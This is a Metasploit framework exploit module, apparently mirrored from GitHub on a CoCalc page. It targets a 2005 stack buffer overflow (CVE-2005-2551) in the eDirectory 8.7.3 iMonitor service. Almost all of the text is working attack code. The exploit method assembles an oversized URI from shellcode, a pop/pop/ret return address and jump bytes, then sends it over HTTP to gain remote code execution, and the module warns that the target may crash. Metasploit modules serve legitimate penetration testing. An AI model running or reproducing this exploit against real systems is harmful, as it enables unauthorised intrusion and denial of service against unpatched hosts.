Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/edirectory_imonitor.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
10
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
18
'Description' => %q{
19
This module exploits a stack buffer overflow in eDirectory 8.7.3
20
iMonitor service. This vulnerability was discovered by Peter
21
Winter-Smith of NGSSoftware.
22
23
NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
24
not restart automatically in a default installation.
25
},
26
'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
27
'License' => BSD_LICENSE,
28
'References' => [
29
[ 'CVE', '2005-2551'],
30
[ 'OSVDB', '18703'],
31
[ 'BID', '14548'],
32
],
33
'Privileged' => true,
34
'DefaultOptions' => {
35
'EXITFUNC' => 'thread',
36
},
37
'Payload' => {
38
'Space' => 4150,
39
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' => [
44
[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
45
],
46
'DisclosureDate' => '2005-08-11',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
Opt::RPORT(8008)
59
]
60
)
61
end
62
63
def exploit
64
c = connect
65
66
# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
67
uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
68
uri << "\xe9\xbd\xef\xff\xff"
69
uri << "B" * 0xD0
70
71
res = c.send_request(c.request_raw({ 'uri' => uri }))
72
select(nil, nil, nil, 4)
73
74
handler
75
disconnect
76
end
77
end
78
79